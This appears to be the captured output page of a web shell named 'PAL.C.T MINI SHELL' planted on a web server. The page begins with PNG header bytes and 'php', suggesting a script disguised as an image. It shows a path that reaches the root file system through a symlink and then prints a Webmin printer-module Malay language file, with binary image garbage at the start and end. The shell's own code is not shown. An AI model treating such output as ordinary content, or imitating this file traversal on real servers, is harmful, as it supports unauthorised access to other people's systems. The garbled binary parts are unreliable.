php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/ms.auto

index_title=Pentadbiran Printer
index_header=Pencetak yang tersedia
index_name=Mesin pencetak
index_desc=Penerangan
index_to=Cetak kepada
index_driver=Pemandu
index_enabled=Dihidupkan?
index_accepting=Menerima?
index_jobs=Pekerjaan
index_none=Tiada pencetak dipasang pada sistem ini.
index_list=Senarai ..
index_jlist=Pekerjaan ..
index_jcount=$1 pekerjaan ..
index_add=Tambah pencetak baru.
index_stop=Berhenti Berjadual
index_stopmsg=Klik butang ini untuk menghentikan proses penjadual cetak yang berjalan. Ini akan menghalang mana-mana pengguna tempatan atau jauh dari mencetak pada sistem anda.
index_start=Mula Berjadual
index_startmsg=Klik butang ini untuk memulakan proses penjadual cetak. Ini akan membolehkan pengguna tempatan dan jauh mencetak pada sistem anda.
index_restart=Restart Scheduler
index_restartmsg=Klik butang ini untuk memulakan semula proses penjadual cetak. Ini akan memaksa konfigurasi cetakan semasa digunakan.
index_return=senarai pencetak
index_esystem=Sama ada memasang perisian untuk sistem cetakan yang anda pilih, atau gunakan konfigurasi modul <a href='$1'></a> untuk mengubahnya.
index_style=Sistem cetakan: $1 
index_cluster=Pelayan Kluster
index_clusterdesc=Klik butang ini untuk menyediakan pelayan Webmin tambahan di mana pencetak akan dicipta, dikemas kini dan dipadam.
index_delete=Padam Pencetak yang Dipilih

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Anda tidak dibenarkan menyunting pencetak ini
edit_eadd=Anda tidak dibenarkan menambah pencetak
edit_add=Buat Pencetak
edit_edit=Edit Pencetak
edit_conf=Konfigurasi Pencetak
edit_name=Nama
edit_acc=Menerima permintaan?
edit_why=Tidak - Kenapa tidak
edit_desc=Penerangan
edit_ena=Percetakan diaktifkan?
edit_acl=Kawalan akses
edit_allow=Benarkan semua orang
edit_deny=Tolak semua orang
edit_allowu=Benarkan pengguna tersenarai ..
edit_denyu=Menyangkal pengguna berdaftar ..
edit_banner=Cetak spanduk?
edit_opt=Pilihan
edit_default=Pencetak lalai?
edit_already=Sudah menjadi pencetak lalai
edit_max=Saiz kerja cetakan maksimum
edit_unlimited=Tidak terhad
edit_dacc=Pemandu menerima
edit_dtext=Teks
edit_dpost=Postscript
edit_dother=Lain-lain
edit_alt=Nama pencetak ganti
edit_dest=Cetak Destinasi
edit_dev=Peranti tempatan
edit_file=Fail setempat
edit_remote=Pelayan jauh Unix
edit_rqueue=Mesin pencetak
edit_type=Taipkan
edit_smb=Pelayan Windows jauh
edit_share=Mesin pencetak
edit_user=Pengguna
edit_pass=Kata laluan
edit_wgroup=Kumpulan kerja
edit_hpnp=Pelayan HPNP jauh
edit_port=Pelabuhan
edit_direct=Sambungan TCP langsung
edit_dport=Pelabuhan
edit_driver=Pemacu Pencetak
edit_check=Periksa sama ada pelayan jauh sudah siap?

blocks=blok

save_err=Gagal menyimpan pencetak
save_eadd=Anda tidak dibenarkan menambah pencetak
save_eedit=Anda tidak dibenarkan menyunting pencetak ini
save_ename='$1' bukan nama pencetak yang sah
save_edup=Pencetak yang dipanggil '$1' sudah wujud
save_eallow=Tiada pengguna yang dibenarkan masuk
save_edeny=Tiada pengguna untuk menyangkal masuk
save_euser=Pengguna '$1' tidak wujud
save_etype=Anda mesti memilih sekurang-kurangnya satu jenis bagi pemandu ini untuk menerima
save_emax=Saiz tugas cetak maksimum mestilah integer
save_efile='$1' tidak wujud
save_erhost=Hos jauh '$1' tidak wujud
save_erport=Port jauh '$1' tidak sah
save_erqueue='$1' bukan nama beratur jarak jauh yang sah
save_eremote=Pemacu tidak boleh digunakan dengan pencetak Unix jauh
save_edhost=Tuan rumah langsung '$1' tidak wujud
save_edport=Pelabuhan langsung atau tidak sah
save_evalid=Sistem cetak tidak membenarkan pencetak ini
save_errslave=Pencetak mencipta OK pada sistem ini, tetapi ralat berikut berlaku pada sistem kluster : $1 
save_egone=Tiada pencetak bernama '$1' telah dijumpai
save_errdelslave=Pencetak dipadamkan OK pada sistem ini, tetapi ralat berikut berlaku pada sistem kluster : $1 

jobs_title=Cetak Pekerjaan
jobs_header=Mencetak pekerjaan pada $1 
jobs_id=ID kerja
jobs_size=Saiz
jobs_by=Dikemukakan oleh
jobs_when=Dihantar Pada
jobs_file=Nama fail
jobs_cancel=Klik pada ID pekerjaan dari senarai di atas untuk membatalkannya.
jobs_cancelview=Klik pada ID pekerjaan dari senarai di atas untuk membatalkan, atau klik pada saiz kerja untuk melihatnya.
jobs_none=Pencetak $1 tidak mempunyai pekerjaan yang belum selesai.
jobs_all=Batalkan semua kerja cetak
jobs_bytes=bait
jobs_test=Halaman Ujian Cetak
jobs_cancelsel=Batalkan Pekerjaan Terpilih
jobs_on=Pada pencetak $1 
jobs_return=senarai kerja cetak

cancel_ecannot=Anda tidak dibenarkan membatalkan kerja cetakan
cancel_err=Gagal membatalkan kerja cetak
cancel_egone=Pekerjaan cetakan $1 tidak lagi wujud

view_ecannot=Anda tidak boleh melihat kerja cetakan ini
view_egone=Pekerjaan cetakan ini tidak lagi wujud

start_ecannot=Anda tidak dibenarkan memulakan penjadual
start_err=Gagal memulakan penjadual

stop_ecannot=Anda tidak dibenarkan untuk menghentikan penjadual
stop_err=Gagal menghentikan penjadual

restart_ecannot=Anda tidak dibenarkan memulakan semula penjadual
restart_err=Gagal memulakan semula penjadual

webmin_none=Tiada
webmin_nonemsg=Pencetak pos atau teks
webmin_remotemsg=Pencetak jauh
webmin_model=Model
webmin_prog=Program
webmin_driver=Pemandu Webmin
webmin_uniprint=Uniprint driver
webmin_edrivers=Gagal mendapatkan pemandu daripada $1. Pemacu pencetak Webmin menggunakan ghostscript tidak tersedia
webmin_egs=Perintah $1 tidak dijumpai. Pemacu pencetak Webmin menggunakan ghostscript tidak tersedia
webmin_edriver='$1' tidak wujud

caldera_none=Tiada
caldera_nonemsg=Pencetak jauh atau mentah
caldera_prog=Program
caldera_coas=Pemandu COAS
caldera_printer=Pencetak dan resolusi
caldera_eof=Hantar EOF?
caldera_paper=Saiz kertas
caldera_double=Cetak dua sisi?
caldera_gsopts=Pilihan GS tambahan
caldera_uniprint=Uniprint driver
caldera_eprog='$1' tidak wujud
caldera_edriver=Tiada pemandu pencetak dipilih
caldera_eres=Tiada resolusi yang dipilih

redhat_none=Tiada
redhat_nonemsg=Pencetak pos atau teks
redhat_prog=Program
redhat_driver=Pemandu Redhat
redhat_printer=Pencetak dan resolusi
redhat_eof=Hantar EOF?
redhat_paper=Saiz kertas
redhat_pages=Halaman setiap halaman output
redhat_gsopts=Pilihan GS tambahan
redhat_hmargin=Margin kanan/kiri
redhat_vmargin=Margin atas/bawah
redhat_crlf=Betulkan teks tangga lurus?
redhat_eprog='$1' tidak wujud
redhat_edriver=Tiada pemandu pencetak dipilih
redhat_ehmargin=Margin kanan/kiri yang hilang atau tidak sah
redhat_evmargin=Lebar atas/bawah hilang atau tidak sah
redhat_eres=Tiada resolusi yang dipilih
redhat_printer2=Model pencetak dan pemandu

suse_none=Tiada
suse_nonemsg=Pencetak pos atau teks
suse_prog=Program
suse_driver=Pemandu APSfilter
suse_printer=Jenis pencetak
suse_res=Resolusi dalam DPI
suse_colour=Pencetak warna?
suse_paper=Saiz kertas
suse_method=Kaedah penapis
suse_auto=Automatik
suse_ascii=ASCII
suse_raw=Raw
suse_extra=Pilihan ghostscript tambahan
suse_yast2=Pemandu YAST2
suse_edriver=Tiada jenis pencetak dipilih
suse_eres=Resolusi yang hilang atau tidak sah

estop=Gagal menghentikan lpd : $1 

acl_printers=Pencetak pengguna boleh mengkonfigurasi
acl_add=Boleh menambah pencetak baru?
acl_cancel=Boleh membatalkan kerja cetak?
acl_stop=Bolehkah berhenti atau memulakan penjadual?
acl_restart=Mulakan semula sahaja
acl_listed=Hanya pada pencetak yang dipilih ..
acl_pall=Semua pencetak
acl_psel=Terpilih ..
acl_view=Tunjukkan pencetak yang tidak boleh dikonfigurasikan?
acl_test=Boleh mencetak halaman ujian?
acl_user=Urus pekerjaan cetakan yang dimiliki oleh
acl_user_all=Semua pengguna
acl_user_this=Pengguna Webmin semasa
acl_delete=Bolehkah memadam pencetak?
acl_cluster=Boleh menguruskan cluster pencetak?

log_stop=Berhenti penjadual cetak
log_start=Memulakan penjadual cetak
log_restart=Penjadual cetak semula
log_cancel_job=Membatalkan kerja cetak $2 pada $1 
log_cancel_all=Membatalkan semua tugas cetak pada $1 
log_cancel_sel=Dibatalkan $2 pekerjaan cetak pada $1 
log_create=Pencetak yang dibuat $1 pada $2 
log_modify=Pencetak yang diubahsuai $1 pada $2 
log_delete=Pencetak yang dipotong $1 pada $2 
log_create_l=Dibuat $3 pencetak $1 pada $2 
log_modify_l=Diperbodakan $3 pencetak $1 pada $2 
log_delete_l=Dihapus $3 pencetak $1 pada $2 

linux_paralel=Port Selari $1 
linux_serial=Port Serial $1 (COM $1)
linux_null=Peranti Null
linux_usb=Pencetak USB $1 
linux_ecmd=Perintah $1 tidak dijumpai pada sistem anda, yang menunjukkan sistem cetak Linux tidak dipasang.
linux_espool=Direktori spool $1 tidak wujud pada sistem anda, yang menunjukkan sistem cetak Linux tidak dipasang.

freebsd_paralel=Pelabuhan Selari
freebsd_serial=Port Serial $1 (COM $1)
freebsd_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan bahawa sistem cetakan FreeBSD tidak dipasang.
freebsd_espool=Direktori spool $1 tidak wujud pada sistem anda, yang menunjukkan bahawa sistem cetak FreeBSD tidak dipasang.

openbsd_paralel=Pelabuhan Selari
openbsd_serial=Port Serial $1 (COM $1)

unixware_paralel=Port Selari $1 
unixware_serial=Port Serial $1 
unixware_null=Peranti Null
unixware_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan bahawa sistem cetak UnixWare tidak dipasang.

hpux_paralel=Selari $1 
hpux_serial=Serial $1 
hpux_null=Peranti Null
hpux_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan bahawa sistem cetak HPUX tidak dipasang.
hpux_eiface=Direktori skrip antara muka $1 tidak wujud pada sistem anda, yang menunjukkan bahawa sistem cetak HPUX tidak dipasang.

lprng_paralel=Port Selari $1 
lprng_serial=Port Serial $1 (COM $1)
lprng_null=Peranti Null
lprng_ecmd=Perintah $1 tidak dijumpai pada sistem anda, yang menunjukkan bahawa sistem cetakan LPRng tidak dipasang.
lprng_espool=Direktori spool $1 tidak wujud pada sistem anda, yang menunjukkan bahawa sistem cetakan LPRng tidak dipasang.

solaris_paralel=Pelabuhan Selari
solaris_uparalel=Pelabuhan Selari Ultra 5/10
solaris_serial=Port Serial $1 
solaris_null=Peranti Null
solaris_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan bahawa sistem cetak Solaris tidak dipasang.

test_title=Halaman Ujian Cetak
test_ecannot=Anda tidak dibenarkan mencetak halaman ujian
test_desc=Borang ini membolehkan anda mencetak halaman ujian untuk pencetak $1. Pilih jenis halaman yang ingin anda cetak :
test_0=Halaman putih tulisan hitam dan putih
test_1=Halaman Postscript Warna
test_2=Teks ASCII biasa
test_3=Mana-mana fail yang dimuat naik
test_print=Cetak halaman
test_exec=Halaman ujian percetakan dengan arahan $1 ..
test_failed=.. arahan gagal!
test_ok=.. arahan lengkap.

cups_none=Tiada
cups_nonemsg=Pencetak jauh atau mentah
cups_prog=Program
cups_driver=Pemandu CUPS
cups_eprog='$1' bukan program yang sah
cups_opts=Pilihan untuk $1 
cups_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan bahawa sistem cetakan CUPS tidak dipasang.

irix_ecmd=Perintah $1 tidak ditemui pada sistem anda, yang menunjukkan sistem cetak IRIX tidak dipasang.
irix_eiface=Direktori skrip antara muka $1 tidak wujud pada sistem anda, yang menunjukkan sistem cetak IRIX tidak dipasang.

aix_port=Port pencetak $1 
aix_edesc=Huraian tidak sah - hanya huruf dan nombor yang dibenarkan, dan tiada ruang
aix_ecmd=Pelayar pencetak AIX $1 tidak dijumpai. Mungkin ia tidak dipasang, atau sistem cetakan lain sedang digunakan.

cluster_title=Pelayan Pencetak Kluster
cluster_none=Tiada pelayan telah ditambahkan ke cluster pencetak lagi.
cluster_host=Nama hos
cluster_desc=Penerangan
cluster_os=Sistem operasi
cluster_add=Tambah pelayan
cluster_gadd=Tambah pelayan dalam kumpulan
cluster_need=Anda mesti menambah pelayan dengan log masuk dan kata laluan dalam Modul Indeks Servis Webmin sebelum mereka boleh diuruskan di sini.
cluster_return=pelayan kluster
cluster_delete=Buang yang ditanda
cluster_ecannot=Anda tidak dibenarkan untuk menguruskan pelayan pencetak kluster

add_title=Tambah Pelayan
add_msg=Menambah $1 ..
add_gmsg=Menambah pelayan dalam kumpulan $1 ..
add_err=Gagal menambah pelayan
add_gerr=Gagal menambah kumpulan
add_echeck=Server $1 tidak mempunyai modul Pentadbiran Printer
add_ediff=Server $1 menggunakan sistem cetakan yang berlainan ($2) ke pelayan ini
add_ediff2=Server $1 menggunakan pemacu cetakan yang berlainan ($2) ke pelayan ini
add_ok=Ditambah $1, dengan $2 pencetak.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`